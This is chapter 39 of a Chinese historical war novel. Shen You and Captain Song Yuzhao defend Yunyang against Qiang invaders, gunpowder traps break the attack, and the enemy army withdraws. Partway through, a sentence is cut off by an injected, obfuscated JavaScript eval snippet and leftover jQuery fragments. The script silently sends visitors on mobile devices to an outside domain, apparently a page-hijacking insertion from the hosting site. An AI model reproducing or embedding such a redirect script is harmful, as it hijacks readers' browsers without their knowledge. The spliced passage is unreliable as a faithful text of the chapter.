39. 第三十九章

作品:《她不卸甲

    沈佑看了看面前陆续折返回来的羌人,再看看不远处从容不迫领兵杀敌的宋玉昭,心中仍是有些不确定。


    虽说他先前从未打过仗,可他看得出,如今这情形,不仅外头的羌人比城中的兵力多得多,就连眼前的敌军也不比他们这些人少,再加上方才往外逃的羌人也正不断往这边折返,他们又能有多少胜算?


    担心归担心,沈佑侧身躲过身前羌人的进攻,尽力忽视溅到手上的血液的触感,腕间用力,将手中长剑贯穿敌人心口。


    他一边杀敌开路,一边往宋玉昭的方向一点点挪去,“校尉。”


    宋玉昭一剑斩下一个羌人的头颅,见沈佑过来,只匆忙间扫他一眼。


    “何事?”


    不知是否是身在战场的缘故,沈佑隐隐觉得她周身气息比平日里还要低上几分,战况激烈,谁也没心思开玩笑。


    他收起脑海中乱七八糟的想法,长话短说,“这样下去,咱们恐怕撑不了太久吧?”


    周遭皆是被将士们厮杀扬起的尘土气,隐隐掺着血腥气,和烽烟的气息一同灌入口鼻。


    沈佑有些不习惯这样杂乱的环境,看上去比宋玉昭狼狈不少,等着宋玉昭回答的空隙,手上倒也没闲着,围上来的羌人接连倒在二人脚下。


    “那你以为如何?”


    “什么?你问我?我连自己怎么上的战场都不知道,哪会知道这些?”


    宋玉昭偏过头,望着他手中尚在淌血的剑,用余光扫过街道上的刀光剑影,闻言也没再追问。


    他毕竟对边关战局诸事知之甚少,总不能因为他第一次上战场没被吓得涕泗横流,就指望着他一下子看懂此次的战事布局。


    再说,若他真能凭空将兄长的计划猜的一清二楚,那云阳此次怕是凶多吉少了。


    “罢了,战场上刀剑无眼,你只管顾好自己,其余的不必多问。”


    沈佑还想再问些什么,但一时又不知该从何开口,脑中乱糟糟的,稀里糊涂点了头,紧接着又不得不和这些羌人纠缠。


    不知过了多久,长街那头不再有羌人往这边涌,似乎所有入了城的羌军都汇聚在此。一边是紧闭的城门,另一边是胶着的战局,除了尽了一战,羌人们也没有别的退路了。


    尽管被断了后路,可他们在人数上占了优势,除了刚得知城门关闭后慌过一阵,他们始终没想过放弃攻入内城屠戮百姓,所以眼下没了退路,他们看上去反而愈发强悍。


    第一次上战场就赶上这样的情况,沈佑盯着如饿狼般望向他们的羌人,心中暗道,今日一战必定要折损将士,若能死在这里,似乎也不亏?


    就在沈佑以为自己就要折在这儿的时候,却忽然听宋玉昭施令,“撤!”


    “啊?这就撤了?还能撤哪?”


    一中将士一刻也不带犹豫,闻声便各自提着兵器后撤,沈佑也只好顺着人流往回狂奔,心口突突直跳。


    这街口光秃秃的,撤回来也没地方躲啊,总不能藏到街边空铺里吧?


    片刻后,身后传来一声巨响,强烈的震感从脚底传来,震得五脏六腑都颤了颤。


    “停。”


    沈佑和将士们一同停下脚步回头,看见真有一间空铺位于路边,可这动静却并非是有人藏了进去,而是铺子边的路被轰然炸开。


    是火药。


    楚英很快带着三五名将士回到宋玉昭身侧,附在她耳边说了几句,二人皆是面色严肃。


    羌人猝不及防遭火药袭击,死伤大半,裂开的街道上一片狼藉,地面上不少身躯痛苦扭动,不仅方才在梁州军面前的人数优势不复存在,汹涌的气势也被这突如其来的变故打散,成了一团稀疏零碎的散沙。


    没了一战之力,四处逃窜的羌人很快就被围起来。


    西北街的布防在城中并不算弱,宋玉昭思量片刻,将这些人马分成三队,人数从多至少依次去城门处,眼下不可再放更多羌人入城;其次留一队守在此处,以清缴从城中别处流窜过来的羌人,剩下的随宋玉昭一同去祥云街查看宋怀泽那边的情况。


    “还不走,想留在这儿送死?”


    沈佑盯着身后被火药炸出来的巨大窟窿,心有余悸,闻言回过神来,连忙跟上宋玉昭。


    “你先前说的火药,就是要用在这儿的吗?”


    第一次在雍州见面,他记得她就是为了关于火药的事才绑了他。


    那时听她的意思,除了有人劫了军中的情报之外,还有人盗了火药炸毁山路。若是刚好盗的是用在此处的火药,那剩下的火药还够用吗?


    不会只剩下这些,用完就没了吧?


    “不是。”宋玉昭翻身上马,像是看穿他心里的想法。


    “这些都是先前打仗时设下但没用到的机关,那批火药并非用在此处。而且,这么大一个云阳,城中可远不止这点儿端倪。”


    “那就好。”


    沈佑松了口气,可等到了祥云街,他方才放回肚里的心又提了起来。


    防守在祥云街的将士不少,将士的排布借了街道陈设的巧妙,错落而不凌乱,一行人从城中绕过去,远远就看到梁州军的军旗,


    “兄长这边情况如何?”


    宋怀泽摇头,“赫那思不曾入城,先将城中敌军剿尽,再做打算吧。”


    他果然没来。


    日头西斜,半条街都被一侧高墙罩下来的影子盖住,西风粗涩,周遭一切都愈发沉闷。


    赫那思当然没有那么容易对付,城门被破开后一口气攻进来这么多敌军,他在城外倒是沉得住气,不仅方才没带人攻进来,眼下城门重新被封上也不着急,还干脆安心在外头耗上了。


    一众将士都埋头清缴羌军残党,沈佑对眼下的处境一知半解,一颗心时时吊着,说不上来的焦躁。


    城中的残军清剿起来倒也不难,只是麻烦了一些。散布在城中各处的将士从外围往内挨个封死各个路口,忙活近两个时辰才渐渐收尾。


    宋怀泽传宋玉昭前去议事,她离开前想起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425954|160399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈佑,便将他也叫上。


    “校尉,我去做什么?”


    “你难道不想知道吗?城中的局势,战场的布局,我看你倒是没少好奇。”


    沈佑大跨步避开地上的一滩血污,今日虽没少见这些血腥,可一时半会自然是不能像其他将士那样对这种场景司空见惯。


    “好奇归好奇,这种时候,就算我是个傻子也不想坐着等死不是吗?可若真要我说些什么有用的,”他默默鼻子,两手一摊,“那我怕是说不出来。”


    宋玉昭忽然笑了,微蹙的眉头骤然松开,凌冽气息被冲散,像是绷了许久的弦一下子松下来。


    “谁让你说什么了,更何况,如今的你哪能在那种场合说上话,站一边听着不被撵走就算是十分得脸了。”


    她笑归笑,嘴里的话倒是分毫没客气,沈佑被噎了这么一句,默默鼻子一路跟在宋玉昭身后,直到见了宋怀泽都没再憋出一个字。


    “兄长何事找我?”


    宋怀泽站在城门一侧通往城墙的台阶上,像是刚从上面下来。


    他指了指身后城外的方向,面上不显,开口的语气却不自觉松了口气。


    “他们往后撤了。”


    一墙之隔,声势浩荡驻扎在城外的大军有序后撤,听动静,倒也不像是背后遭袭仓皇离开的模样。


    宋玉昭去城墙之上查看一番,只见一片凌乱残局上烽烟尚未消散,一众羌军动作虽慢慢悠悠,可确实是在一点点离开云阳城。


    “这可不像羌人的作风。”


    别说今日前来攻城的是残暴嗜血的赫那思,即便是任何一个人带着数倍兵马攻至城下,也不会选择在这个时候带兵撤离。


    她和宋怀泽原本是想着借着城中的地形与机关将赫那思引进来,之后要么擒贼先擒王,要么让率先冲进来这批敌军有来无回,可眼下这番场景,却是他们从未设想过的。


    宋怀泽安排城中将士严加防备,先前撤回城中的那些将士也都调回城门处,以防敌军反扑。


    他面上依旧紧绷,各处布防依旧未松懈下来,城中紧张的气氛依旧,可众将士皆是松了口气,宋怀泽的语气也轻快不少。


    “虽不知他们在耍什么把戏,但他们现下一走,等再攻过来便又需要时间,只要撑到明日,这云阳就不是他们想来就来想走便走的了。”


    宋玉昭望着城外渐行渐远的大军,又联想到先前的那些猜测,心中愈发不安。


    若是援军赶来,此战还是败了呢?


    云阳地处大齐西北,梁州军尚未赶来,自然不好先一步再往他处送信求援,可若边关真有细作……


    那细作既能隐匿于边关不备发现,自然不是傻子,说不定还有几分权势,既然能悄无声息和外面的赫那思达成某种协议里应外合,那眼下羌人撤离必定是有后招,此战远比眼下看似平稳的战局更加凶险。


    过了一会儿,有将士来报。


    “宋参将,敌军退到十余里外便停了下来,似要扎营。”